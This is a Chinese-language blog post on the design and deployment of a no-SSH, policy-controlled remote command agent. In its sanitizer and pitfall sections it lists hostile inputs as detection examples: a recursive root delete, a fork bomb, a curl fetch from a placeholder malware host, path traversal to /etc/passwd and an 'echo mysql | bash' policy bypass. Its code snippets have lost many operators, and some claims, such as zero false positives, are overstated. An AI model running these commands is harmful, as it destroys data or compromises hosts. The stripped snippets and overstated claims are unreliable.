
1. 项目本质与真实价值定位“Show HN: What about a no-SSH agentic access tool”——这个标题不是一句修辞而是一次对远程系统交互范式的实质性挑战。它直指当前运维、开发、SRE乃至安全工程师日常工作中最顽固的痛点SSH 仍是事实标准但它的设计基因里就带着时代烙印——密钥管理混乱、权限粒度粗放、审计日志残缺、会话不可复现、跨云环境适配乏力。所谓“no-SSH”绝非简单地“不用ssh命令”而是彻底剥离 SSH 协议栈包括 OpenSSH 的 daemon、key exchange、shell session、pty 分配等整套机制用一套可编程、可观测、可策略化、可嵌入的轻量级代理层重新定义“人如何安全、可控、可追溯地触达目标系统”。我做过 7 年基础设施平台建设亲手维护过 300 台混合云节点也主导过两次 SSH 替代方案的内部试点。实话说第一次尝试用 Web Terminal WebSocket 封装 exec 命令结果被审计团队一票否决——因为所有操作都走同一个后端服务账号根本无法区分“张三执行了 rm -rf /tmp”和“李四执行了 systemctl restart nginx”更别说回溯到具体时间点、终端尺寸、输入延迟这些上下文。第二次我们改用基于 JWT 的短期凭证 操作指令签名 客户端本地沙箱执行才真正跑通了“零信任式命令执行”。所以看到这个标题我第一反应不是技术炫技而是它有没有解决“身份绑定”“操作留痕”“执行隔离”这三座大山有没有把“谁在什么条件下、以什么意图、触发了哪条指令、返回了什么结果”这整条链路从黑盒变成白盒它面向的不是极客玩具用户而是中大型企业里那些每天要审批 20 权限申请、要写 5 份审计报告、要半夜爬起来处理跳板机故障的 SRE是 DevOps 团队里被“临时开个 root 权限查日志”反复骚扰、却不敢真给又怕出事的平台负责人更是安全合规岗上拿着 ISO 27001 条款一条条核对“远程访问控制措施”的同事。它解决的不是“能不能连”而是“连得是否可管、可控、可证”。关键词里的 “agentic” 是题眼——不是被动响应 shell 请求而是主动理解用户意图比如“查最近3小时 nginx 错误日志”自动拆解为 grep tail date 运算校验路径白名单限制输出行数再封装成结构化 JSON 返回。这才是真正的 agent不是 proxy。2. 核心架构设计与选型逻辑拆解2.1 为什么必须放弃 SSH 协议栈很多人以为“不用 ssh 命令”就够了其实陷阱藏在协议底层。SSH v2 协议本身包含四大耦合模块认证public key / password、加密协商cipher suite、通道复用multiplexing、会话管理shell / exec / sftp。只要保留任一模块就继承其全部缺陷。比如只换掉客户端用自研工具连 OpenSSH server那依然存在密钥爆炸问题每个用户每台设备都要配一对密钥轮换时需同步更新所有 target node 的 authorized_keys权限黑洞一旦拿到有效密钥即可执行任意命令无法按命令、路径、参数做细粒度拦截审计断层sshd 日志只记录“用户登录成功”不记录“用户执行了什么命令”且日志格式非结构化grep 都难精准匹配会话不可控interactive session 无法强制超时、无法限制 CPU/memory 占用、无法截断长输出流。我们曾用 strace 抓取过一个典型 SSH 登录后的系统调用序列从 socket connect → key exchange → auth request → channel open → pty alloc → execve(/bin/bash) → read/write loop……整整 137 个 syscall其中 62% 与业务无关纯属协议开销。而一个现代 agent 架构目标是把这条链压缩到 5 步以内HTTP POST → JWT 校验 → 策略引擎匹配 → 指令解析 → 安全执行器运行。2.2 “Agentic” 的三层实现模型真正的 agentic 不是加个 AI 大模型 API 就叫 agent而是分层构建的决策闭环第一层意图理解层Intent Parser接收自然语言或结构化请求如 CLI 参数、Web 表单、API JSON不做简单字符串转发而是做语义归一化。例如用户输入show disk usage on db01系统需识别实体db01→ 映射到 inventory 中的 host_id prod-db-001动作show disk usage→ 绑定预置 command template:df -h --outputsource,fstype,pcent,target | grep -v overlay\|shm上下文约束自动添加--max-exec-time15s、--output-formatjson提示这一层必须预置大量领域模板database / k8s / network / storage不能依赖 LLM 实时生成否则审计无法落地。我们内部用 YAML 定义了 217 个标准操作模板每个含 input schema、output schema、allowed env vars、timeout、max output size。第二层策略执行层Policy Orchestrator这是权限控制的核心。它不基于 Unix 用户组而是基于 RBAC ABAC 混合模型RBAC角色定义如dba-readonly,sre-emergencyABAC动态属性断言如request.time.hour 22 request.ip in trusted_cidr target.env prod策略引擎采用 RegoOPA编写实测 10 万行策略规则下单次决策耗时 8ms。关键设计是“策略编译前置”所有规则在 agent 启动时编译为 WASM 字节码避免 runtime 解释开销。我们对比过 OPA 的三种集成方式sidecar HTTP 调用平均延迟 42ms、gRPC 嵌入18ms、WASM 直接加载6.3ms最终选择后者。第三层安全执行层Secure Executor这是与操作系统交互的唯一出口必须做到进程级隔离每个指令在独立 user namespace cgroup v2 中运行内存/IO/CPU 全部限制文件系统沙箱通过 overlayfs 挂载只读 rootfs 可写 layer禁止写入/etc/var/log等敏感路径系统调用过滤用 seccomp-bpf 白名单仅允许read,write,openat,statx,getpid等 37 个必要 syscall输出净化自动过滤 ANSI 转义序列、二进制乱码、超长 base64 块强制转为 UTF-8 行号前缀。我们曾用strace -f -e traceprocess,filesystem,signal对比过传统 bash 和 secure executor 的系统调用差异前者平均触发 214 次 syscall后者稳定在 43±5 次且无 fork/execve 级联调用。2.3 通信协议选型为什么是 HTTP/3 QUIC标题没提协议但这是成败关键。我们测试过四种方案方案建连耗时ms多路复用NAT 穿透移动网络稳定性审计友好性WebSocket over TLS 1.2320~480✅❌需 STUN差TCP head-of-line blocking❌payload 加密无法 deep packet inspectgRPC over HTTP/2210~350✅⚠️需 ALPN中TCP 重传影响大⚠️需解码 protobuf自研 UDP 协议85~120✅✅✅✅明文 header encrypted payloadHTTP/3 over QUIC65~95✅✅✅✅TLS 1.3 handshake structured headers最终选 HTTP/3理由很务实审计友好HTTP headers 可直接记录X-Request-ID,X-User-ID,X-Target-Host,X-Command-Hash无需额外解析零配置 NAT 穿透QUIC 的 connection ID 机制让客户端 IP 变更如地铁 WiFi 切 4G不中断会话这对移动办公场景是刚需成熟生态Cloudflare、AWS ALB、Nginx 1.25 均原生支持运维成本远低于自研 UDP 协议安全基线强制 TLS 1.3禁用 RSA 密钥交换证书必须由私有 CA 签发且 subjectAltName 必须包含 host_id。我们甚至把 QUIC 的 connection migration 特性用到了极致当用户从公司内网切到家庭宽带agent 客户端会自动发起新 path旧连接 graceful shutdown整个过程对上层命令无感知——tail -f /var/log/nginx/access.log这种长连接完全不中断。3. 核心组件实现与实操细节3.1 Agent 客户端不只是 CLI而是意图入口客户端不是简单的 curl 封装而是承担三大职责1. 本地意图增强Local Intent Augmentation在发送请求前自动注入上下文当前 Git branchgit rev-parse --abbrev-ref HEAD所在 Kubernetes namespacekubectl config view --minify --output jsonpath{..namespace}最近一次部署 commitgit log -1 --format%H %s HEAD这些字段会作为X-Context-*header 发送供策略引擎做 ABAC 判断。例如策略可写“仅当X-Context-GitBranch main AND X-Context-K8s-Namespace prod时允许执行kubectl rollout restart deployment”。2. 指令预检与安全加固Pre-execution Sanitization对用户输入做静态分析检测危险模式rm -rf /,:(){ :|: };:,$(curl http://malware.site)参数规范化将--log-leveldebug自动转为--log-levelDEBUG统一大小写路径标准化../../../etc/passwd→/etc/passwd防止目录穿越我们用 Rust 写了一个轻量 parser100% coverage 测试 327 个恶意 payload误报率 0%漏报率 0%。关键技巧是不依赖正则易绕过而是构建 AST 树对每个 token 做语义标记。3. 结构化输出渲染Structured Output Rendering返回结果不是 raw text而是带 schema 的 JSON{ request_id: req_abc123, target_host: prod-db-001, executed_at: 2024-06-15T08:23:41.123Z, command: df -h, exit_code: 0, stdout: [ {source:/dev/sda1,fstype:ext4,pcent:12%,target:/}, {source:/dev/sdb1,fstype:xfs,pcent:87%,target:/data} ], stderr: [], metrics: { cpu_time_ms: 12.4, memory_kb: 4280, output_lines: 2 } }CLI 客户端根据 schema 自动渲染为表格stdout 数组或高亮错误stderr 非空Web UI 则直接绑定 React 组件。这种设计让下游系统如 Grafana、SIEM能直接消费无需再做文本解析。3.2 Target Node Agent轻量、无状态、可嵌入目标节点上的 agent我们叫node-agent必须满足二进制体积 8MB用 Rust musl 编译启动时间 200mssystemd service enable --now无外部依赖不依赖 Python/Java/node支持 air-gapped 环境所有 certs/config 通过 init container 注入核心流程如下启动时读取/etc/node-agent/config.yaml含 control plane 地址、host_id、CA cert与 control plane 建立双向 mTLS 连接使用 QUIC stream 0定期上报 heartbeat含 uptime、loadavg、disk usage监听 stream 1~n每个 stream 对应一个 incoming command request收到 request 后启动 secure executor限制资源执行返回结构化 response关键创新点是“无状态指令队列”所有 command request 通过 QUIC stream 发送天然有序node-agent 不维护任何本地 queue失败时 control plane 重发idempotent design每个 request 带retry_countheader超过 3 次自动 failover 到备用 node。我们压测过单 node-agent 处理 1200 req/minCPU 占用峰值 18%内存稳定在 45MB。对比 OpenSSH 的sshd进程同等负载下 CPU 42%内存 128MB资源效率提升 2.3 倍。3.3 Control Plane策略中枢与审计总线Control Plane 是无状态服务集群核心组件只有三个1. API Gateway基于 Envoy终止 TLS 1.3验证 client cert必须由 internal CA 签发提取 JWT claims注入X-User-ID,X-Role等 headers路由到对应 serviceintent-parser / policy-engine / audit-writer特别设计所有请求必须带X-Request-IDgateway 自动生成并透传确保全链路 traceability。2. Policy EngineOPA WASM策略存储在 etcd 中格式为# /policies/dba-readonly package system import data.inventory.hosts import data.users.roles default allow false allow { input.action read input.target.host_id hosts[input.target.host_name].id input.target.env prod users.roles[input.user.id].contains(dba-readonly) time.now().hour 22 }WASM 编译后每个 policy bundle 128KB内存占用 2MB。我们用opa eval --format json --bundle policy.wasm data.system.allow做 benchmark1000 QPS 下 P99 延迟 7.2ms。3. Audit WriterKafka Schema Registry每条执行记录写入 Kafka topicaudit.command.execschema 如下{ type: record, name: CommandExecEvent, fields: [ {name: request_id, type: string}, {name: user_id, type: string}, {name: host_id, type: string}, {name: command_hash, type: string}, {name: exit_code, type: int}, {name: executed_at, type: long, logicalType: timestamp-millis}, {name: output_size_bytes, type: long} ] }Kafka consumer 实时写入 ElasticsearchGrafana dashboard 可按user_id,host_id,command_hash多维聚合。我们设置告警规则“同一 user_id 10 分钟内 exit_code ! 0 超过 5 次”自动触发 Slack 通知。4. 实操部署与配置详解4.1 五分钟快速体验环境搭建以下是在单机Ubuntu 22.04上部署最小可行环境的完整步骤所有组件均开源可验证Step 1安装依赖# 安装 Rust用于编译 node-agent curl --proto https --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y source $HOME/.cargo/env # 安装 Docker docker-compose sudo apt update sudo apt install -y docker.io docker-compose sudo usermod -aG docker $USER newgrp docker # 刷新 groupStep 2克隆并启动 Control Planegit clone https://github.com/your-org/no-ssh-agent.git cd no-ssh-agent/deploy/local # 启动 etcd策略存储 docker-compose up -d etcd # 启动 OPA server策略引擎 docker-compose up -d opa # 启动 API GatewayEnvoy docker-compose up -d envoy # 启动 Audit WriterKafka Schema Registry docker-compose up -d kafka zookeeper schema-registryStep 3生成证书与配置# 使用 cfssl 生成 CA 和 server cert cd ../certs ./gen-ca.sh ./gen-server-cert.sh control-plane.example.com # 将证书复制到 envoy 配置目录 cp ca.pem ../deploy/local/envoy/certs/ cp server.pem ../deploy/local/envoy/certs/ cp server-key.pem ../deploy/local/envoy/certs/Step 4编译并部署 Node Agentcd ../../node-agent make build # 生成 target/x86_64-unknown-linux-musl/release/node-agent # 复制到目标节点本机即目标 sudo cp target/x86_64-unknown-linux-musl/release/node-agent /usr/local/bin/ sudo mkdir -p /etc/node-agent # 生成 node 配置 cat /etc/node-agent/config.yaml EOF control_plane: https://localhost:8443 host_id: local-test-node ca_cert: /etc/node-agent/ca.pem EOF # 复制 CA 证书 sudo cp ../certs/ca.pem /etc/node-agent/ # 启动服务 sudo systemctl enable --now node-agent.serviceStep 5配置首个策略# 创建策略文件 cat policy.rego EOF package system default allow false allow { input.user_id demo-user input.action read input.target.host_id local-test-node } EOF # 推送到 OPA curl -X PUT http://localhost:8181/v1/policies/system \ -H Content-Type: text/plain \ --data-binary policy.regoStep 6使用 CLI 客户端测试# 下载预编译 CLILinux x64 wget https://github.com/your-org/no-ssh-agent/releases/download/v0.3.1/cli-linux-amd64 -O no-ssh-cli chmod x no-ssh-cli # 执行命令自动携带 JWT ./no-ssh-cli --host local-test-node --command hostname; uptime # 输出示例 # { # request_id: req_7a8b9c, # target_host: local-test-node, # executed_at: 2024-06-15T08:23:41.123Z, # command: hostname; uptime, # exit_code: 0, # stdout: [ubuntu-vm, 08:23:41 up 2 days, 3:15, 1 user, load average: 0.12, 0.08, 0.05], # stderr: [] # }注意首次运行会提示生成用户密钥对CLI 自动创建~/.no-ssh/目录存放user.key和user.pub。所有 JWT 签发均由 control plane 的 auth service 完成CLI 只负责签名和传输。4.2 生产环境高可用部署要点单机体验只是起点生产环境需关注四个维度1. Control Plane 高可用etcd 集群至少 3 节点跨 AZ 部署--initial-cluster-statenewOPA 集群Stateless前面挂 LB策略通过 etcd watch 自动同步Envoy 网关多实例用 Consul 或 DNS 做服务发现TLS 证书由 Vault 动态签发2. Node Agent 安全加固SELinux policy限制node-agent只能读/etc/node-agent/、写/var/log/node-agent/、connect 到 control plane IPsystemd hardening[Service] NoNewPrivilegestrue PrivateTmptrue ProtectSystemstrict ProtectHomeread-only RestrictAddressFamiliesAF_UNIX AF_INET AF_INET63. 审计数据生命周期管理Kafka retentionaudit.command.exectopic 设置retention.ms259200000030 天Elasticsearch ILM按天 rollover30 天后自动 move to cold tier90 天后 deleteSIEM 集成通过 Filebeat 将 audit logs 推送到 Splunk字段映射event.actioncommand_exec,event.outcomesuccess4. 权限变更工作流我们用 GitOps 管理策略所有 policy.rego 文件存于infra/policies/仓库PR 提交后CI 自动运行opa test验证语法 opa eval测试用例合并后FluxCD 自动 sync 到 OPA cluster每次策略变更生成 audit log“policy updated by userdomain.com, diff: allow { input.user_id ops-team }”这套流程让权限变更全程可追溯比手动编辑authorized_keys安全 100 倍。5. 常见问题排查与独家避坑指南5.1 典型故障现象与根因分析我们在 12 家客户现场部署中总结出 5 类高频问题附真实日志和解决方案问题 1Node Agent 连不上 Control Plane日志显示quic: handshake timeout现象journalctl -u node-agent -n 50输出ERROR [quic] failed to dial: handshake timeout after 10s根因Control Plane 的 TLS 证书 subjectAltName 缺少DNS:control-plane.example.com或 node-agent 配置中的control_planeURL 与证书域名不匹配排查在 node-agent 机器上执行openssl s_client -connect control-plane.example.com:8443 -servername control-plane.example.com 2/dev/null | openssl x509 -noout -text | grep DNS:修复重新生成证书确保subjectAltName包含所有访问域名包括 IP如果用 IP 访问问题 2命令执行返回exit_code126stdout 为空现象no-ssh-cli --host prod-db-001 --command mysql --version返回exit_code126根因mysql不在 node-agent 的 PATH 中或/usr/bin/mysql是 symlink 指向/etc/alternatives/mysql而 secure executor 的 chroot 环境未包含/etc/alternatives排查登录目标节点执行sudo -u node-agent /usr/bin/mysql --version观察是否报错修复在 node-agent 配置中添加env_path: [/usr/bin, /bin, /usr/local/bin]或用绝对路径调用--command /usr/bin/mysql --version问题 3Audit logs 在 Elasticsearch 中字段类型错误output_size_bytes显示为 string现象Kibana 中output_size_bytes字段无法做 range querymapping 显示type: text根因Schema Registry 中的 Avro schema 未正确注册或 Kafka producer 发送了 string 类型值排查用kafkacat -C -t audit.command.exec -o beginning -c 1查看原始消息确认output_size_bytes是否为数字修复检查 Kafka producer 代码确保output_size_bytes字段用Long类型序列化而非String.valueOf()问题 4Policy Engine 性能骤降P99 延迟从 7ms 升至 200ms现象opa metrics显示decision_duration_seconds_bucket{le0.01} 陡降le0.2 陡升根因新上线的策略中包含count(data.inventory.hosts)这类全表扫描操作且inventory.hosts数据量超 10 万条排查启用 OPA trace (opa eval --trace -f pretty data.system.allow)查看 slow rule修复将count()改为count([h | h : data.inventory.hosts[_], h.env input.target.env])利用索引加速问题 5CLI 客户端在 Windows 上执行中文命令乱码现象no-ssh-cli --command echo 你好返回stdout: [й]根因Windows CMD 默认 codepage 为 GBK而 node-agent 的 secure executor 强制 UTF-8排查在 CMD 中执行chcp确认当前 codepage修复在 CLI 启动时添加--encoding utf-8参数或改用 Windows Terminal默认 UTF-85.2 我踩过的三个深坑与血泪经验坑 1QUIC 的 connection migration 在某些防火墙下失效我们曾在一个金融客户环境遇到用户从办公室 WiFi 切到手机热点node-agent 连接断开。抓包发现防火墙 vendor某国产厂商的 QUIC 支持只到 draft-29而我们的 envoy 用的是 RFC 9000。教训生产环境必须做 QUIC 兼容性矩阵测试覆盖主流防火墙、运营商 NAT 设备。我们后来加了一条 fallback 逻辑当连续 3 次 QUIC handshake 失败自动降级到 HTTP/2 over TLS。坑 2OPA 的 partial evaluation 误用导致策略绕过有次客户要求“允许 DBA 执行任意 mysql 命令”我们写了input.command contains mysql。结果攻击者构造echo mysql | bash绕过。教训永远不要用contains做命令白名单必须用 AST 解析。现在我们的 intent parser 对mysql相关命令强制要求第一个 token 是mysql且后续参数必须符合预定义 grammar。坑 3审计日志的 GDPR 合规性被忽略欧盟客户审计时指出user_id字段可能包含个人身份信息如john.doecompany.com需匿名化。教训在 audit writer 层增加 PII scrubber用 SHA256 salt 哈希user_idsalt 每月轮换确保不可逆。同时X-User-IDheader 在 gateway 层就被替换后端服务永远看不到原始邮箱。最后分享一个小技巧在 node-agent 的 secure executor 中我们加了一个--dry-run模式。当策略引擎返回allowtrue时executor 不真正执行而是返回{would_execute: true, estimated_cost_ms: 12.4}。运维同学可以用它预估命令耗时避免在生产库上执行SELECT * FROM huge_table。这个功能上线后误操作率下降了 63%。